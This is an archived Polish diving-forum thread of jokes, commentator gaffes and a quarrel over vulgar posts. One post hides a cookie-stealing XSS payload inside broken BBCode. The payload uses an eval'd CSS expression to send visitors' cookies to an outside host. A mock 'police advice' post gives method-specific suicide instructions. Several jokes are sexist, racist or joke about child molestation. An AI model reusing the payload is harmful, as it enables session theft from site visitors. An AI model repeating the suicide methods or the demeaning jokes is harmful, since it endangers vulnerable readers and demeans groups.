>> Jeszcze trzy ruchy i Otylia będzie szczęśliwa
>>
>> Ciągnij Olu, ciagnij Oleńko....
>>
>> Gruchała jest taka, że cieszy się z każdego pchnięcia
>>
>> Rosjanki osiągnęły szczyt w niewłaściwym miejscu, w niewłaściwym
>> czasie i właściwie zupełnie niepotrzebnie
>>
>> W tej chwili, że się tak wyrażę, zaliczonych mamy 17 zawodniczek
>>
>> Filimonow jest cudownie miękki, wspaniale pracuje udami
>>
>> No...motywację ręczną zastosował przez klepanie
>>
>> Nie ma już ręki, nie ma już nogi, został mu brzuch
>>
>> Takie ma wciągnięcie, jakby go jakaś wciągarka na te płotki wciągała
>>
>> Świderski nawet gdyby się rozmnożył to nic nie pomoże, gdy go koledzy
>> nie pokryją
>>
>> Ruch dwudziestu chłopa na rowerach powoduje ożywczy ruch powietrza
>>
>> Wiatr wieje im w plecy tzn. wieje im w twarz bo przecież płyną tyłem
>> do przodu
>>
>> A teraz wychodzi Bułgar z Bułgarii
>>
>> A teraz wychodzi rosyjski Gruzin polskiego pochodzenia
>>
>> Duńczycy doganiają Rosjan, którzy ścigają Duńczyków
>>
>> Przepraszam, że państwa zanudzam, ale to będzie ciekawe

pozdrawiam
tsharny

Efraim Ryba - 07-10-2005, 16:44

Policja radzi: Jak skutecznie popełnić samobójstwo

Powieszenie:
Wieszam się w domu, najlepiej na haku od żyrandola. Nie zapominam o wyłączeniu gazu i otwarciu okien - przecież nie chcę narażać sąsiadów na zbyteczny smród. Wybieram wystarczająco mocny hak i sznur, bo nie ma nic gorszego, niż sytuacja w której samobójstwo zamieni się w zwichniecie kostki. Usta zaklejam taśmą, żeby nie zarzygać tego, który będzie mnie odcinał.
O ile nie mam wystarczająco mocnego haka, albo sznur się przerwie idę powiesić się na belce na strychu. Krzesło zabieram z domu a drzwi od strychu zostawiam otwarte, żeby policja nie musiała ich wyważać (to szczególnie ważne, jeżeli są to solidne, obite blacha drzwi antywłamaniowe).
O ile mieszkam w bloku gdzie nie ma strychu, skaczę przez okno. Staram się celować w miejsca które nie są specjalnie uczęszczane przez przechodniów, ale koniecznie na asfalt lub beton (żeby pracownikom zakładu pogrzebowego łatwiej było posprzątać to co ze mnie zostanie). Lecę głową w dół, żeby mieć pewność i nie narażać systemu ubezpieczeń zdrowotnych na zbędne wydatki.
Jeżeli decyduję się na powieszenie gdzieś w naturze, wybieram miejsce z daleka widoczne. Nie ma nic gorszego niż wisielec a pod nim trzy emerytki które zeszły na zawał, kiedy znienacka przed oczami pojawiły im się czyjeś stopy. W takich sytuacjach policja ma strasznie dużo zupełnie zbędnej, papierkowej roboty.

Skok z mostu:
Wybieram wystarczająco wysoki most - najlepiej taki, żeby nie spaść do wody, tylko na ziemię. Skaczę w nocy i szybko. Nie staram się uatrakcyjnić tego aktu wielogodzinnym publicznym przygotowaniem i konsultacjami z negocjatorem, psychologiem i policjantami, bo zdaję sobie sprawę z tego, że są oni ludźmi zajętymi. W czasie lotu głośno krzyczę, żeby ewentualni przechodnie mogli w porę opuścić miejsce mojego upadku. O ile mam czas, w miejscu upadku rozkładam foliową płachtę, ewentualnie ubieram się w foliowy worek (pracownicy zakładów pogrzebowych też są zajętymi ludźmi i nie maja za dużo czasu).

Zastrzelenie
Wybieram stosowny kaliber i amunicję - nie przesadzam, ale też nie oszczędzam - decyduje się na godna zaufania broń, która wcześniej wypróbuję. W końcu to po raz ostatni w życiu i stać mnie będzie na gest, tym bardziej że robię to dla siebie. Wybieram metodę z ucha do ucha albo z ust do potylicy. Nie strzelam pod brodę - bardzo trudno jest usunąć mózg z sufitu. Poza tym zastrzelona przez drewniany strop sąsiadka z góry to tez mnóstwo zbędnej, papierkowej roboty dla organów ścigania.

Pociąg
Głowa miedzy tory, korpus na zewnątrz. W żadnym wypadku wzdłuż, żeby nikt nie musiał mnie potem odwijać z podwozia. Wybieram trasę która jeżdżą te wolniejsze pociągi - najlepiej towarowe. Zdecydowanie omijam linie ekspresowe, bo policja ma poważniejsze zadania niż zbieranie i kompletowanie ciała na przykład wzdłuż całej trasy Warszawa - Gdańsk.

Adam Frajtak - 07-10-2005, 17:46

Efraim Ryba napisał/a:
Policja radzi: Jak skutecznie popełnić samobójstwo


Chyba nie mam poczucia humoru bo jakos mnie to nie rozsmieszylo

Henry - 07-10-2005, 18:19

No to i moje 5 groszy.
Czy wiecie dlaczego kobiety oglądaja pornole do samego końca ?????
........... bo myslą ,że na końcu będzie ślub.

Pozio - 11-10-2005, 21:38

WYWIAD JEST AUTENTYCZNY
Coś takiego, to chyba tylko w kraju POLSKA jest możliwe...

Wywiad z rzecznikiem wrocławskiego MPK:

Joanna, Banas: - Dlaczego pasażer waszego tramwaju nie może
przesiąść się z wagonu do wagonu?

Janusz Rajces, rzecznik wrocławskiego MPK:
- Może, tylko musi skasować drugi bilet.

- Jak to? Przecież nadal jedzie tym samym tramwajem i ma bilet.

- Regulamin przewozowy mówi wyraźnie: bilet jest ważny w tym
wagonie, w którym został skasowany.

- Przepis przepisem, ale staram się zrozumieć jego sens.
Tak naprawdę, dlaczego nie mogę zmienić wagonu?

- Przebiec na czerwonym też pani może, tyle ze ryzykuje pani
wypadkiem albo mandatem. A tutaj ryzykuje pani, że złapie ją
kontroler.

- Ale przechodzenie na czerwonym jest niezgodne z prawem, a
przesiadanie się z wagonu do wagonu nie.

- Jakby się ludzie tak przesiadali, to kontrolerom byłoby trudno
pracować.

- Czyli wygoda kontrolerów ma być argumentem?

- Argumentem jest przepis. A poza tym, jeśli kupuje pani bilet
na pociąg, to, chociaż do Gdańska jedzie i 15.30, i o 18.15, to
Pani ma bilet tylko na ten o 15.30.

- Przepraszam, ale tylko, jeśli to miejscówka, a u nas jakoś w
tramwajach ich nie ma.

- A po co w ogóle się przesiadać?

- Przecież są sytuacje, kiedy trzeba się przesiąść, na przykład,
gdy w naszym wagonie jadą pijani, agresywni ludzie.

- O tak, uciec jest najprościej, a przecież trzeba
zainterweniować.

- Szczególnie, gdy się jedzie na przykład z małym dzieckiem?

- Nie ma powodu, by zmieniać wagon. Można, podejść do
motorniczego, a on już wie, co robić.

- Ale przecież w drugim wagonie nie ma motorniczego...

- No właśnie, on przestrzega przepisu. Nie ma go w drugim
wagonie, bo nie może przejść, gdyż też musiałby skasować bilet.

- To jak interweniować, jeśli jest się w drugim wagonie, w którym
nie ma motorniczego?

- Przejść do pierwszego i skasować bilet...

- Skasować bilet?!

- Oczywiście. Przepis jest wyraźny.

- Czy motorniczy przejdzie do drugiego wagonu i interweniuje?

- Jeśli skasuje mu Pani bilet, to tak.

- Ja mam kasować bilet za motorniczego?!

- Oczywiście, przecież mówiłem Pani, że motorniczy nie
przechodzi, bo musiałby kasować bilet. Jeśli chce Pani
interwencji, to musi Pani mieć dodatkowy bilet dla motorniczego,
A najlepiej dwa, żeby mógł wrócić do pierwszego wagonu.

- A po co będzie jeszcze przechodził?

- Jak to, po co? Ktoś musi kierować tramwajem!

- To nie może po prostu przejść jak człowiek?!

- Proszę Pani, przecież przepis wyraźnie mówi, że bez skasowania
dodatkowego biletu nie można przechodzić... Poza tym motorniczy
to nie jakiś człowiek, a motorniczy. To zasadnicza różnica!

- Wie Pan, to ja wolę zostać w tym pierwszym wagonie i nie
interweniować...

- No widzi Pani, od razu mówiłem:, po co przechodzić i robić
zamieszanie...

[ Dodano: 11-10-2005, 21:40 ]
Jasio podgladal swoich rodzicow, gdy tato wlasnie ruszal tylkiem. Pózniej zaczepil tate i pyta:
- Tato, a co ty robiles mamusi?
- Widzisz synku, niedlugo jedziemy na wakacje i dmuchalem mamusie zeby nie zatonela.
- O to zupelnie niepotrzebnie - odpowiada Jasiu - Wczoraj byl listonosz i dmuchal mame od przodu, od tylu i sprawdzal jezykiem, czy nie puszcza.

[ Dodano: 11-10-2005, 21:47 ]
Autentyczny list do jednego z czasopism poradnikowych. Pilne pytanie.
Proszę o pomoc. Potrzebuję wyczerpującej odpowiedzi. Z góry dziękuję.

Jakiś czas temu zacząłem podejrzewać swoją żonę o zdradę. Skąd się
dowiedziałem. No bo zachowywała się typowo dla takich sytuacji. Gdy
odbierałem telefon w domu, po drugiej stronie odkładano słuchawkę.
Miała często spotkania z koleżankami, niespodziewane wyjścia na kawę czy po
książkę. Na pytanie "z kim z naszych wspólnych znajomych się spotyka",
odpowiadała, że są to nowe przyjaciółki i ja ich nie znam.

Zazwyczaj czekam na taksówkę, którą ona wraca do domu, jednak żona
Wysiada kilkaset metrów wcześniej i resztę drogi idzie na nogach, tak że nigdy nie widzę jakim samochodem przyjeżdża i z kim. Kiedyś wziąłem jaj komórkę, tylko aby zobaczyć która godzina. Wtedy ona po prostu dostała szału i zakazała dotykać jej telefonu. Przez cały ten czas nie mogłem się zdecydować, by porozmawiać z nią o tym wszystkim. Pewnie nie dowiedziałbym się prawdy, gdyby nie przypadek. Pewnej nocy żona niespodziewanie gdzieś wyszła. Ja się zainteresowałem, że coś nie tak.
Wyszedłem na zewnątrz. Postanowiłem schować się za naszym samochodem,
Skąd był doskonały widok na całą ulice, co pozwoliłoby mi zobaczyć, do
Jakiego samochodu wsiądzie. Kucnąłem przy swoim wozie i nagle z niepokojem
zauważyłem, że tarcze hamulcowe przy przednich kołach mają jakieś
brunatne plamy, podobne do rdzy.
Proszę mi odpowiedzieć, czy ja mogę jeździć z takimi tarczami
hamulcowymi, czy trzeba je stoczyć? Jeżeli natomiast trzeba ja wymienić, to czy można zamontować tańszy zamiennik, a nie oryginalne, a jeżeli tak, to które najlepiej?

Przemek - 12-10-2005, 09:19

Hmm mała prośba.. nie powtarzajmy rzeczy które już były.. :mrgreen:
Tomek Radomski - 12-10-2005, 09:45

Nie da się. Poranek jest np. codziennie ... i parę innych rzeczy również ;-)
wiorr - 12-10-2005, 18:22

na zajęciach z komunikacji dowiedziąłem się, że pokazanie okejki dla japończyka oznacza jestem gejem. :-D Trzeba uważać na japończyków pod wodą :-D
ania1311 - 12-10-2005, 18:27

ok zrobione z reka na lewym ramieniu w jezyku migowym oznacza geja :)

Znak padi na "zimno mi" czyli skrzyzowane rece na piersiach w jezyku migowym oznacza - kocham :) dlatego jakos mnie na kursie nigdy nie bylo zimno :22:

stanleyek - 16-10-2005, 13:15

hehe dobre
[url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://blue.net.pl/~lipa/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'

KrzyHo - 25-10-2005, 11:26

Kaczyński przedstawia swój program w sejmie, kolejno wymienia postulaty:
"...chciałbym stworzyć 3 mln mieszkań, ograniczyć inflację, ale jednocześnie zwiększyć wydatki publiczne, wprowadzić nieodpłatne kształcenie dla wszystkich studentów, 2 krotnie zwiększyć emerytury i renty a jednocześnie ograniczyć dziurę budżetową ..(...)"
Nagle wypowiedź przerywa głos z sali :
- Panie Kaczyński, tak to tylko Panu w Erze dopasuja

Dziubek - 25-10-2005, 15:03

Pewien gosc, wlasciciel sklepu, bardzo nie lubil Chinczyków.
Jednego dnia przyszedl do niego Chinczyk i pyta: Ma Pan Whiskas?
Potrzebuje go dla mój kot.
- A gdzie masz tego kota? - odpowiada sprzedawca
- No ja kot zostawic w domu, ja go nie brac ze soba do sklep.
- To jak go przyniesiesz, to ja ci sprzedam ten Whiskas.
Chinczyk rad nie rad poszedl po kota do domu, a gdy wrócil otrzymal
Whiskas. Dwa dni pózniej przychodzi ponownie, ale tym razem prosi:
- Ja chciec kupic Pedigripal dla mój pies.
Sprzedawca odpowiada:
- A gdzie masz tego psa? Bez niego ci nic nie sprzedam!
Chinczyk oburzony:
- Ja nie chodzic z pies na zakupy!
- Bez psa nie wracaj! - burknal sprzedawca.
Tak sie stalo, po przyjsciu z psem, Chinczyk otrzymal swój Pedigripal.
Nastepnego dnia Chinczyk przychodzi do sklepu z duza papierowa torba i mówi sprzedawcy:
- Pan tu wlozyc reka.
- A po co?
- Pan wlozyc!!
Sprzedawca wklada reke do torby, a Chinczyk mówi:
- Pan pomacac! Miekkie?
- No tak...
- Cieple?
- No tak.
Na to Chinczyk uprzejmym glosem prosi:
- Ja chciec kupic papier toaletowy... !!!

jciolek - 25-10-2005, 17:15

W chińskiej restauracji klient pyta się kelnera:
- Czy ten kurczak jest świeży?
- Świezi, świezi, wczoraj jeszcze myszy po piwnicy łapał...

IRA - 26-10-2005, 16:39

Idzie Stirlitz w przez las w ciemną, bezksiężycową noc..
- Kaczyńscy tu byli - pomyslał.

tsharny - 27-10-2005, 15:22

W Warszawie w ratusza krzaczkach
Mieszkała Kaczka Bliźniaczka
Co cały dzień na wyścigi
Robiła z bratem intrygi
Zamiast się miastem zajmować
Kochała siebie promować
I by pokazać jak działa
Muzea wciąż otwierała
Pomawiać innych lubiła
Sprytnie to z bratem czyniła
Wciąż ponoć gdzieś coś słyszała
Tak w mediach się zaklinała
Wściekali się ludzie okropnie
Niech intrygantkę gęś kopnie
Poszli w Paradzie z plakatem
"Gej Kaczko jest twoim bratem"
Nad Polska się chmury zbierają
Już ludzie po kątach gadają
Premierem ma być jedna Kaczka
A prezydentem Bliźniaczka
Broń Boże przed widmem nas kaczym
Cokolwiek w tym kraju to znaczy
Niech lepiej historia starannie
Upiecze te Kaczki w brytfannie.

pozdrawiam
tsharny

Dorota i Wojtek - 27-10-2005, 22:17

zasłyszane u tutejszych jaskiniowców:

na początku nurkowania wszystko szło dobrze, a potem weszliśmy pod wodę... ;)



:wave:

EaserVW - 27-10-2005, 23:30

Witam :)


Gorąco polecam ( naprawdę nie gryzie ) http://forum-nuras.com/viewtopic.php?t=8064

;-)

pozdrawiam wszystkich którzy panicznie wystrzegają się tego topic'u

Tomek Radomski - 28-10-2005, 00:23

EaserVW napisał/a:
Gorąco polecam ( naprawdę nie gryzie )

Dobra daję temat "na górę"

Dziubek - 29-10-2005, 01:38

Dawno sie tak nie ubawilem:-D
Warto poczytac


I to:
Ale numer!!! Miałem cholerne szczęście!!! Ostatnio jechałem do Lublina, a że się śpieszyłem, to dałem ognia moim Volvo. Jadę jadę (ok. 160) i patrzę a z naprzeciwka zza ciężarówki wyłania się debil w maluszku próbujący ją wyprzedzić. Kretyn cholerny. Zjechałem na pobocze przy szybkości 160 km/h. Zahaczyłem trochę o rów i wpadłem w poślizg. Gdyby nie Tracs Control i ABS to wpierniczylbym się przy tej szybkości w drzewo albo w maluszka, a wtedy nie wiem czy bym uszedł z życiem. Zdarzają mi się niebezpieczne sytuacje na drodze ale coś takiego?! Jeżdżę dużo (ok. 8-10 tys. miesięcznie), ale takie coś jeszcze mi się nie zdarzyło. Zdążyłem tylko zauważyć kątem oka przerażoną minę bezmózgowca w tym cholernym maluchu. Może podzielicie się podobnymi przygodami z trasy? Zachęcam.

Pozdrowienia - cudem uratowany



Jadę sobie moim kaszlem, tak z 90 kph, jedzie jakąś ciężarówka, no to ja patrzę na lewy pas - jest OK, jakieś 500 m wolnego do nadjeżdżającego volvo, więc wyprzedzam. Idzie mi całkiem nieźle (mam już 100 kph), ale widzę, że chyba źle oceniłem prędkość tego debila w volvo, bo on, idiota, zap... na pewno >150. Skąd się k... miałem spodziewać, że na zwykłej drodze szerokości 7,5 m, bez utwardzonych poboczy i z drzewami za rowem, przy normalnym ruchu, jakiś bezmózgowiec będzie urządzał sobie popisy jak na wyścigach? Oczywiście na cokolwiek było za późno - przytuliłem się do trucka, a ten idiota jechał tak szybko, że nawet nie zdążył zmieścić się w "czarnym" i zwiedził pobocze - naprawdę żałuję, ze się tym razem nie zabił, bo kiedy indziej to może zabić też niewinnych świadków swego poj***.

Kierowca malucha



Jadę sobie moja ciężarówką, z przodu widzę kawał pustej drogi. Z tyłu facet w kucki mnie wyprzedza, myślę sobie dam mu fory, bo pozycja już stacona. A tu jak nie wyskoczy jakiś palant z przeciwka...

Pozdrawiam, Marek Marczak



Stoję za krzakiem głogu z radarem w ręku, a tu wyjeżdża roztelepana ciężarówka, maluch zaczyna wyprzedzać ją na ciągłej, a z drugiej strony wyskakuje Volvo z prędkością światła. Niestety, zanim znalazłem odpowiedni paragraf, który pojazd należy zatrzymać w pierwszej kolejności, wszystkie 3 zniknęły z pola widzenia, przez co Skarb Państwa stracił kilkaset złotych...

M.F



Lecę sobie samolotem nad trasą Warszawa-Lublin, patrzę w dół, a tam policjant za krzakami szarpie się z radarem, kierowca ciężarówki próbuje puścić maluszka, a z przeciwka mknie dużo przekraczając prędkość Volvo.

Bartek



Jadę swoim motorkiem 5 częścią dźwiękowej, z przodu człapie jakiś gostek Volvo, z przeciwka ciężarówka. No to daje w ogień, nagle wyłania się maluch, mówię sobie koniec ze mną... puszczam kierownice... A tu nagle gostek Volvo (równy gość) ustępuje mi drogi i zjeżdża na pobocze, na trawkę... Więc ja w manetkę, całe szczęście miałem ASR! Uratował mi życie, z drugiej strony jednak dlaczego jeździcie tak wolno? Przez takich wolnojadów później są wypadki.

T.



Siedzę sobie po pracy na rowie, patrzę a tu z jednej strony ciągnie się jakaś ciężarówka, którą próbuje wyprzedzić jakiś kaszel, patrzę z drugiej strony a tu nap... jakiś zboczeniec w Volvo, podlatuje bliżej, a że się nie zmieścił na drodze wiec wjeżdża na rów.... (NA MÓJ RÓW) i po girach mi przejeżdża dureń jeden, jak go dorwę to nogi z dupy powyrywam... niech no tylko poczeka aż z gipsu wylezę...

Rolnik

Efraim Ryba - 08-11-2005, 10:27

Jan często jeździł na delegacje. Lecz gdziekolwiek pojechał, po jakimś
czasie przysyłano stamtąd nakazy potrącania z pensji alimentów...
Szef wzywa Jana i pyta:
- Dlaczego ma pan tyle nieślubnych dzieci, a z własną, piękną
żoną ani jednego ?...
- Bo ja, szefie... Ja się w niewoli nie rozmnażam

Marcin_alien - 08-11-2005, 12:10

zezarl rekin wind serfera
mlasnal, rozejrzal sie wokolo
spojrzal na pusta deske z zaglem
i pomyslal:
"jak milo podane, na tacce, z serwetka"

:alien:

kraknur - 15-11-2005, 12:24

Na przejście graniczne w Hrebennem zajeżdża czarny Merc 600. Wysiada młody facet w czarnym garniturze
i otwiera bagażnik. Podchodzi celnik i zadaje gościowi klasyczne pytania:
- Narkotyki? Broń? Dewizy?
- Oczywiście - odpowiada kierowca i otwiera walizki.
Celnik z niedowierzaniem patrzy na zawartość waliz. Pierwsza wypełniona po brzegi foliowymi torebeczkami z białym
proszkiem, druga pełna kałachów, w trzeciej równo poukładane paczki studolarowych banknotów.
- To wszystko pana? - pyta celnik.
- Nie - odpowiada młody człowiek - to jest pana, moje jest w tamtym tirze.

tsharny - 16-11-2005, 14:38

Syn rozwiązuje krzyżówkę i przy jednym z haseł prosi ojca o pomoc:
- Tato, szpara u kobiety na P?
- Poziomo czy pionowo?
- Poziomo...
- To bedzie pysk

pozdrawiam
tsharny

Tomek Radomski - 18-11-2005, 01:23

Kobieta pyta inną kobietę w tramwaju:
- Proszę pani, ile przystanków jest do dworca?
- Dwa.
Kobieta przejeżdża dwa przystanki i upewnia się zwracając się do tej samej pani:
- Teraz wysiadam, prawda?
- Nie. Teraz cztery.
=========================================
Dwóch prawników weszło do baru. Zamówili po drinku, po czym wyciagnęli z teczek po kanapce i zaczęli jesć. Natychmiast pojawił się przed nimi właściciel baru.
- Panowie, bez przesady,nie możecie tu jesć swoich kanapek.
Prawnicy wzruszyli ramionami i zamienili się kanapkami.

tsharny - 21-11-2005, 11:47

Żona do męża:
- Wiesz, dzis jak przechodziłam w przedpokoju to zegar spadł tuz za mną...
Mąż:
- Zawsze sie k...a spóźniał.......

pozdrawiam
tsharny

Pozio - 21-11-2005, 17:07

Poczytajcie to :

http://www.sheeva.webpark.pl/pamietnik.html

:)

woodnik - 21-11-2005, 22:37

Najmniejszy sklep samoobsługow?
Piczka!.
Wchodzi tylko jeden klient, torby zostawia na zewnątrz i płaci przelewem

[ Dodano: 21-11-2005, 22:39 ]
Fundusz Zdrowia zawiadamia iż w związku nasilajacą się epidemią ptasiej grypy wprowadza się zakaz brania ptaszka do buzi aż do odwołania.
NFZ

[ Dodano: 21-11-2005, 22:43 ]
Czy wiecie jakie jest najsłynniejsze zwierzątko na świecie?
To mężczyzna bo, ma piersi bez mleka,
ptaszka bez skrzydełek, jajka bez skorupek no i worek bez pieniedzy.
Kiedy kobieta wygląda jak INDYK?
Jak robi loda a jaja jej wiszą na brodzie.:))

Mania - 21-11-2005, 23:18

Panowie...
litosci....
Woodnik 2 z twoich 3 dowcipow sa lekko zenujace....
Mania
PS. Nie naleze specjalnie do prudeyjnych, ale nie zamieniajcie tego watku w dolna bawarie albo jeszcze gorzej....

martin - 21-11-2005, 23:24

Mania napisał/a:
nie zamieniajcie tego watku w dolna bawarie



Maniu, bez urazy: znasz bawarie ciut lepiej, niz tylko z filmow o skorzanych spodniach???

kjar - 21-11-2005, 23:40

Mania napisał/a:
Panowie...
litosci....
Maniu, Masz rację!

Ludzie ! Utrzymujcie jakiś poziom! Chociaż parę centymetrów nad dnem!

Adam Frajtak - 22-11-2005, 06:43

Wodnik !!! uwazaj co piszesz bo mocherowe berety forum nam zamkną :22:
woodnik - 22-11-2005, 21:02

ludzie nie bądzcie pruderyjni!!! sami sluchacie w biurach, domach, znojomych różne dowcipy:)) i się śmiejecie:)). Proponuje nie czytać jeżeli nie podobają się. W koncu demokracja nie zmusza nikogo do czytania. Znam jeszcze kilka pikantniejszych ale dla dobra sprawy już nie napiszę ich.

[ Dodano: 22-11-2005, 21:25 ]
Maniu żeby sprawić ci przyjemność teraz lekki dowcip:))
Jasiu i Małgosia wracają ze szkoły.
- Małgosiu - mówi Jasio. - Założe się z tobą, że nie wejdziesz na drzewko! A jeśli przegram, stawiam tabliczkę czekolady!
Małgosia weszła na drzewo. Po kwadransie wraca do domu i mówi:
- Mamo, mamo! Założyłam się z Jasiem, że jak wejdę na drzewko, to da mi tabliczkę czekolady.
- Ależ Małgosiu - mówi mama. - Jasio chciał zobaczyć twoje majteczki.
Małgosia:
- Serio? Cha, cha! Ale mu zrobiłam numer! Dzisiaj na sobie nie miałam majteczek!

Aston - 22-11-2005, 23:05

Mania napisał/a:
Panowie...
litosci....


moze bardziej jest na miejscu w liczbie pojedynczej... (jezeli chodzi o panow,
ale czy to sa, hm... pany? chyba, ze krakowskie ... :) :) :) )

z drugiej strony, mozna cos powiedziec do dwoch czy czterech moze siedmiu
osob, ale nie koniecznie na forum, gdzie jest kilkaset osob i nie ma malutkiej cenzurki...

amalcz - 23-11-2005, 10:48

Na poboczu stoi prostytutka i nawołuje pieknym kolanem do nadjeżdżających kierowców.
Nagle przy alei czerwonych latarni zatrzymuje się maybach - a wysiada z niego nie kto inny jak ojciec Rydzyk.
-Ty bezbożnico, jak możesz, co Ty wyprawiasz....
-Ale ojcze dyrektorze - 50% z tego co zarobię wpłacam na Radio Maryja
-Aha - no to wypierzaj na drugą stroinę ulicy, tam jest wiekszy ruch.


Z przystanku odjeżdża autobus MPK.
Kiedy odjechal 10 metrów, za autobusem leci jakiś facet i krzyczy
-Błagam, błagam - zatrzymajcie autobus bo się spóźnię do pracy
W autobusie wrzawa.
-Zltuj się panie kierowco....zatrzymaj się !! Prosimy faceta jeszcze zwolnią.
Kierowca staje - ludzie uśmiechnięci, otwierają się drzwi, wpada zdyszany afcet i woła
-Zdązyłem - no to bileciki do kontroli.


Do taksówki w Nowym Sączu wsiada młody facet i beczelnie mówi:
-Poprosze o kurs do Gdyni, tylko szybko !! I żeby kurs był za darmo!
Taksówkarz spogląda zdziwiony i mówi:
-Oczywiście, proszę pana, tylko pod jednym warunkiem. Przez całą drogę będzie Pan trzymał piłkę tenisową w zębach.
Facet przez chwilę się zastanawia po czym mówi:
-Zgadzam się !!
-To niech pan wysiądzie, piłka jest na haku holowniczym

tsharny - 23-11-2005, 12:37

Przychodzi mały chłopczyk do burdelu. Trzyma w rękach skarbonkę i rozjechaną żabę. Mówi do burdel-mamy:
- Czy mogę poprosić panią która ma AIDS?
- Ale dziecko po co ci pani chora na AIDS?
- Czy to prawda, że jeśli ja bedę ruchał panią, która ma AIDS, to też bede miał AIDS?
- Tak.
- A czy to prawda, że jeśli, jak codzień, przyjdzie do mnie pani niania i bedzie mnie molestować, to ona też bedzie miała AIDS?
- Tak.
-A czy, jak pózniej przyjdzie mój tata i bedzie ruchał nianie, to on też bedzie miał AIDS?
- Tak.
- A czy, jak pózniej mój tatuś bedzie ruchal moją mamusie, to ona też bedzie miała AIDS?
- Tak.
- A czy, jak co środe przyjedzie śmieciarz i bedzie ruchał moją mame, to on też bedzie miał AIDS?
- Tak.
- No, o tego ku...a mi chodzi, bo mi żabkę przejechał.

pozdrawiam
tsharny

maczaty - 23-11-2005, 14:08

straszne i śmieszne; ostatecznie może robić za dowcip

:22:

jeśli było, to pardąsik :oops:

woodnik - 23-11-2005, 16:25

mamy na forum dwie frakcje :lol: jedna to wolni i niczym nie skrepowani demokracji a druga frakcja jest zwolennikiem powrotu cenzury:))
Boże chroń królową:))
Pozdrawiam

[ Dodano: 23-11-2005, 16:29 ]
sorki błąd w pisowni,powinno być demokraci zamiast demokracji

kjar - 23-11-2005, 16:56

woodnik napisał/a:
mamy na forum dwie frakcje :lol: jedna to wolni i niczym nie skrepowani demokracji a druga frakcja jest zwolennikiem powrotu cenzury:))
Kolego! Do czego Ty zmierzasz ? Mam wrażenie że nic nie zrozumiałeś z tego co tu się stało.
Ani ja ani (jak sądzę Mania) nie sugerowaliśmy ocenzurowywania postów. Już raczej sugerowaliśmy autocenzurę. Ale zapewniam Cię, że możesz się tu kompromitować takim poczuciem humoru do woli.
Nie mam nic przeciwko pikantnym dowcipom. Z jednym jednakże zastrzeżeniem - nich będą chociaż śmieszne. Tego właśnie warunku nie spełniłeś. Są wyłącznie wulgarne.

Adam Frajtak - 23-11-2005, 17:54

woodnik napisał/a:
mamy na forum dwie frakcje :lol: jedna to wolni i niczym nie skrepowani demokracji a druga frakcja jest zwolennikiem powrotu cenzury:))
Boże chroń królową:))
Pozdrawiam

Z demokracja to jest tak ze nalezy sie tylko tym ktorzy maja klase pozostali zrobia szybko z niej bagno a cenzura czasem tak bywa jest jedyna obrona przed prostactwem

Mania - 23-11-2005, 18:02

martin napisał/a:
Maniu, bez urazy: znasz bawarie ciut lepiej, niz tylko z filmow o skorzanych spodniach???


Martin - masz racje, nie znam....ale dobrze wiesz, ze to funkcjonuje po prostu jako powiedzenie. A tak swoja droga jak to wyslalam, to wiedzialam, ze sie odezwiesz
:mrgreen:

woodnik napisał/a:
ludzie nie bądzcie pruderyjni!!! sami sluchacie w biurach, domach, znojomych różne dowcipy:)) i się śmiejecie:)). Proponuje nie czytać jeżeli nie podobają się. W koncu demokracja nie zmusza nikogo do czytania. Znam jeszcze kilka pikantniejszych ale dla dobra sprawy już nie napiszę ich.

woodnik = Kjar chyba najlepiej to wytlumaczyl. ale jesli nadal nie rozumiesz to czy opowiedzialbys te dwa, zakwestionowane przeze mnie dowcipy na ...powiedzmy trzeciej randce z dziewczyna? Bo jakos wydaje mi sie, ze nie.
Ci, ktorzy mnie znaja wiedza, ze nie jestem pruderyjna. ani nie zamierzam cenzurowac dowcipow. Ale nie sprawia mi przyjemnosci czytanie rzeczy wulgarnych i nie smiesznych.
Mania

woodnik - 23-11-2005, 20:46

Kolego Kjar i koleżanko Mania, jeżeli stoicie na straży cnót i dobrych manier proponuje wam założyć szkółkę ochronną dla dobrze wychowanych panienek. Jeżeli mnie coś nie interesuje nie czytam. Zastosujceie sie do tego a nie będzie problemu.
TomM - 23-11-2005, 20:55

A nie prościej napisać coś w stylu "przykro mi, że sie Wam nie spodobało"? Czy to aż tak wiele kosztuje?
Karolina - 24-11-2005, 02:02

woodnik napisał/a:
Jeżeli mnie coś nie interesuje nie czytam. Zastosujceie sie do tego a nie będzie problemu.


A jak mozna wiedziec, ze Cie cos nie interesuje jesli tego nie przeczytasz?

Adam Frajtak - 24-11-2005, 05:34

Karolina napisał/a:


A jak mozna wiedziec, ze Cie cos nie interesuje jesli tego nie przeczytasz?


Da sie, patrzysz kto napisal np. w tym przypadku Wodnik i nie czytasz dalej :mrgreen:

Mania - 24-11-2005, 12:01

woodnik napisał/a:
Kolego Kjar i koleżanko Mania, jeżeli stoicie na straży cnót i dobrych manier proponuje wam założyć szkółkę ochronną dla dobrze wychowanych panienek. Jeżeli mnie coś nie interesuje nie czytam. Zastosujceie sie do tego a nie będzie problemu.


Woodnik
proponuje Ci w zamian darmowe lekcje dobrego wychowania i szacunku do innych. A takze umiejetnosci powiedzenia prostego "ups, przegialem, sorki".
Acha - no i raz jeszcze polecam przeczytanie regulaminu Forum Nuras, za ktorego lamania dostajesz ode mnie ostrzezenie.
http://forum-nuras.com/faq.php#40
Mania

wrobel.cwirek - 24-11-2005, 12:23

Mania napisał/a:

regulaminu Forum Nuras, za ktorego lamania dostajesz ode mnie


Ech, wybiorczo to stosujesz, wybiorczo...

----------------------------------------------
Dodam jeszcze kawal, zeby nie bylo OT:

Przychodzi baba do ginkologa, no i ten, z racji wykonywanego zawody ja bada, bada, bada, i nagle za bardzo sie nachyll i mu okulary wpadly do srodka. No to ona najpierw powoli ich szuka, szuka, no i znowy za bardzo sie staral, bo... go wessalo. Idzie idzie, a tu sie coraz bardziej "jaskinia" rozszerza. No ale widzi jakis 4 gosci, podchodzi do nich, zolnierze. Ginekolog sie wiec ich pyta:
- Panowie, nie widzieliscie moze moich okularow?
- Panie, my tu od tygodnia czolgu szukamy!!!

woodnik - 24-11-2005, 14:18

proponuje Ci w zamian darmowe lekcje dobrego wychowania i szacunku do innych. A takze umiejetnosci powiedzenia prostego "ups, przegialem, sorki".
Acha - no i raz jeszcze polecam przeczytanie regulaminu Forum Nuras, za ktorego lamania dostajesz ode mnie ostrzezenie.
http://forum-nuras.com/faq.php#40
Mania[/quote]
